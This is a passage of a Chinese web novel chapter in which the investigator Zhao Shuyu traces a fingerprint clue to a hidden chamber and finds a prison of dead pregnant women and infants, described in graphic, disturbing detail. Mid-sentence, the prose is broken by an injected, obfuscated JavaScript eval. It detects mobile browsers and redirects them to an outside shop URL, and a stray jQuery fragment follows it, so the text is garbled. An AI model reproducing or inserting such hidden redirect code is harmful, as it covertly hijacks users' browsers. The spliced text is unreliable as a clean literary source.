赵疏玉记得周玥曾和她说过,刘世尧在临死前走向了一处地方……
想着,她便朝那个方向走去。
期待着或许能够得到其他的一些讯息。
果不其然!
赵疏玉很快就发现了一丝不对劲的地方。
层层叠叠的书架子上摆放着整整齐齐的书,可是在第五个架子上,她发现了一颗指纹。
一颗边缘不甚清晰,十分粗糙的指纹。
血迹留在了指纹上,却在书架的外边缘戛然而止。
照理来说,人在死之前,会挣扎着求生,抓住一切可以抓住,让自己能够活下去的东西。
所以,刘世尧应当会抓住书架,并在书架上留下他的手掌印。
可是并没有。
只有很细小的指纹,若不仔细看,还真看不出来。
不过……
赵疏玉陷入了沉思。
刘世尧留下这个指纹的目的又是什么。
一般人在被杀之前,都会激烈的反抗。
而刘世尧却没有对周玥动手。
周玥的伤都是由后来的袁群毅诸加。
那么这就只能说明一个问题。
刘世尧知道这碗药不是周玥下的,杀他的一定另有其人!
可是这个人,是谁,他不知道,他也没有时间再想这件事情了,只有尽可能地做什么呢?
思绪到这儿,忽然断了。
有一种清晰而又模糊的猜测在赵疏玉的心里产生,可是一种不确定的模糊感又使她不明白这心底的猜测究竟是什么。
刘世尧做了那么多的恶事,或许和袁群毅也有着千丝万缕的关系,在江南时,他不管是再怎么闯破了天,李惟初也不过是警示一番,并没有多余的动作。
而在袁群毅来到这里之后,刘世尧就死了。
可是明明在一开始,他是在救刘世尧,究竟是从什么时候开始他又准备杀了刘世尧呢?
杀他的目的又是什么?
而刘世尧也一定知道是袁群毅动的手。
因为除了袁群毅,没人敢动他。
如果没有袁群毅背后的势力推动这件事,刘世尧也绝不会在自己的府中被杀。
所以,他那时候就明白了,杀他的人一定是袁群毅那边的人,所以,他没有动周玥,而是想到另一件更重要的事情。
他才会在已经中毒快死的情况下还踉踉跄跄地爬起来,摇摇晃晃地走到书架身前。
赵疏玉在房屋中,不断模拟着当日刘世尧从喝下毒药到被毒死在地的全过程。
她摇摇晃晃地走到书架前,却没有伸手扶书架。
因为刘世尧那个时候没有扶。
她为什么肯定刘世尧一定没有扶的原因在于,她看过刘世尧的尸体,七窍流血,浑身是血,死状可怖。
所以,他如果一旦触摸书架,一定会在书架上留下不可磨灭的痕迹,那么,袁群毅他们一定就会留心此处。
故而刘世尧可以在任何地方留下血迹,却唯独不能在这个地方留下一丝一毫的痕迹。
这是为什么?
赵疏玉凭着多年的经验判断,他或许是想隐瞒什么秘密。
这个秘密,或许就是所有一切的关键。
赵疏玉将目光再次往刘世尧留下的痕迹上看去,又细细打量了其他的书架子。
其他的书架上完全没有任何痕迹,而唯独只在第五个架子上留下指纹。
这就很巧妙了。
赵疏玉忽然对刘世尧当夜产生了非常浓厚的兴趣。
他究竟是以一个什么样的心理去留下这个痕迹。
因为她又发现了一处痕迹。
第五个架子上和其他的书架没有区别,都整整齐齐摆放着书。
却有几本相较于其他的书略微凸出一点点。
若不仔细盯着去看,还真看不出来这书竟然还凸出。
赵疏玉意识到此事或许有什么玄机,于是轻轻一推,将几本凸出的书全都按压回原位。
可就在她将最后一本书按压至原位之后,一个类似于内部机械忽然被打开开关,细小咯噔的声音传了出来,赵疏玉敏锐地捕捉到这个声音。
而就在下一刻,从第五个书架开始,逐渐向上和向下分裂,留出一个不高不低的高度,赵疏玉弯腰刚好可以进去。
可是她却很警惕地低头,朝这个隐秘的空间看去。
一股难以掩盖的恶臭袭来,赵疏玉许久没有闻到过这样的味道,一时间被这味道一冲,头眩晕了几秒。
可她很快就镇定下来。
意识到这是自己熟悉到不能再熟悉的味道,她逐渐放下了心。
人的恐惧来自于未知。
可她已然能猜到这里面藏了什么,所以定下心神,抬步往里面走去。
里面的空气比外面低了好几个度,越往里面走去,阴寒的感觉更甚,令人不禁汗毛直竖。
可是赵疏玉仿佛已经习以为常一般,她镇定自若地朝里面走去,神色丝毫未变。
赵疏玉沿着过道一路走去,终于走到室内尽头。
里头灯火通明,烛光却是微弱。
想必是已经很久没有人来过的痕迹。
赵疏玉分明已经做好了见到尸体的准备,可在看到眼前的场景时,她还是冷不丁被这些尸体给吓了一跳。
她想过尸体有多么的狰狞可怖,想过里头会是血流不尽,可是她万万没有想到,里头竟然是尸横遍野!
一个又一个打造的牢狱,锁住了一个又一个女子。
她们披头散发,痛苦地扭曲在地面上,有些已化为白骨,有些已变得脱水干瘦,有的即使还未变得如此,可整个人骨瘦如柴,却无一例外,她们都大着肚子。
不同于巨人观,那里面货真价实都是已经成了形的孩子。
赵疏玉为什么能这么确定。
因为她在最旁边的牢狱中,看见了一个女子,她的身下联结着一个早已没了呼吸的孩童。
甚至他还未睁开双眼,就已经在饥饿中死去。
诸如此类的女子在这个牢狱中几乎遍地都是。
只不过牢狱关住了她们,任由她们自身自灭。
赵疏玉原地踉跄几步,脑中一片空白,甚至还有带有几分不可置信,而这样的感觉过后,是一腔愤懑,刺上头颅,令她愤怒不堪!
狭小的牢狱里关着上百的孕妇,她们几乎已经没有地方落脚,甚至连死都是站着的,死在前一个尸体之上,一个趴着一个的后背上。
双手垂落,身挺大肚,有的身下连有幼婴,却无疑,全都死去。
还有的女子怒目圆睁,双手死死握着两根木棍,嘴巴张得极大,似乎再向谁求助。
她的眼睛早已消逝,只留下一具骇人的白骨,衣服紧紧贴在身上。
赵疏玉看着她的样子,脑海中甚至能补出如果她现在还活着,她的眼神中一定是充斥着对生命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14129774|138143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的渴望。
饶是赵疏玉见过那么多行为可怖的杀人案,如今看到这样一副场景,大为震撼,就连是碎尸案也无可比拟。
这样的案件,不是恶劣。
是冷漠。
是对于生命的蔑视,是完完全全对于女性的压迫!
不!
这早就不是什么压迫了!
视命如草荠,视女子如物。
权力一手遮天,这里的女子到死都不明白,自己为什么会就这么屈辱的死去。
她们腹中怀着的,又是谁的孩子!
赵疏玉从心底感受到这个封建王朝的无比恶心!
他们那些权力者,为了掩盖罪证,竟然如此对待这些已经怀有身孕的女子!
荒诞!可笑!无比恶心!!
“呕!”赵疏玉双腿跪下,从胃底翻起恶心,直直干呕起来。
可是她这几日不眠不休地查案,精神紧绷,莫说是吃饭,连是觉都没睡几个时辰。
如今就算是想吐,也吐不出什么东西来。
赵疏玉抬头望去,望着这些早已是白骨美艳女子,仿佛看到她们当时是有多么绝望,是有多么想逃!
却无计可施,没有任何人能救她们!
究竟是谁,是谁让这些女子们怀孕,刘世尧又为什么要将这些女子给放到密室里来。
这里面究竟还藏着什么阴谋!
到底!
还藏着什么!!
赵疏玉恨恨捶地,眼泪不知不觉从眼眶中如断了线的珍珠一般滚落。
她从未想过,这个地方,人心,能黑暗,冷漠到何等地步!
赵疏玉踉跄着站起身。
她要查,她要知道更多。
她要找到是谁害了这些女子,她一定要找出真凶来!
她要将这些女子的冤屈公之于众,她要将那些人的罪行向天下人揭发!
她颤抖着手,强忍着眼泪,摸索着这些女子的衣物。
赵疏玉无法进门,准确来说,她没有办法开门。
一旦开门,尸体便会如大山倾覆般倒下,尸骨或许会直接摔在地上摔裂,连一个完整的尸身都无法保留。
正内心挣扎之时,她朝狱里面看去。
这一看,她当真是瞪大了双眼,无法言说任何话语。
有些女子身上甚至于都没有衣服。
赤裸着被关在狱里。
还有的,将身上唯一的衣服包裹在幼儿的身上……
再多的,她已经不忍心再看下去了。
穿着衣物的女子大多都集中在狱门前,没有穿衣服的女子则是淹没在人潮中。
赵疏玉根本无需担忧自己不开狱门究竟会遗漏掉多少线索。
眼泪在眼眶中打转,这一刻,她才真正见识到女子所遭受到的痛苦。
她不知在谁的袖子中翻出一张银票来。
只是她不认识古代的字,仔细揣摩了好久也没能揣摩出什么来。
她仔仔细细将银票收好,又再次在女子们的身上仔细搜寻了一番。
她没有再搜到任何有用的东西。
于是她只好将目光转到其他地方,她一转身,目光落在一个小案前,昏暗的油灯下似乎压着什么东西,她眼尖儿地发现,立马跑过去,将压在油灯盏底下的纸给抽了出来。
可是还没等她细看,身后却忽然响起一阵脚步声。
赵疏玉猛地回头,却被立刻捂住了口鼻。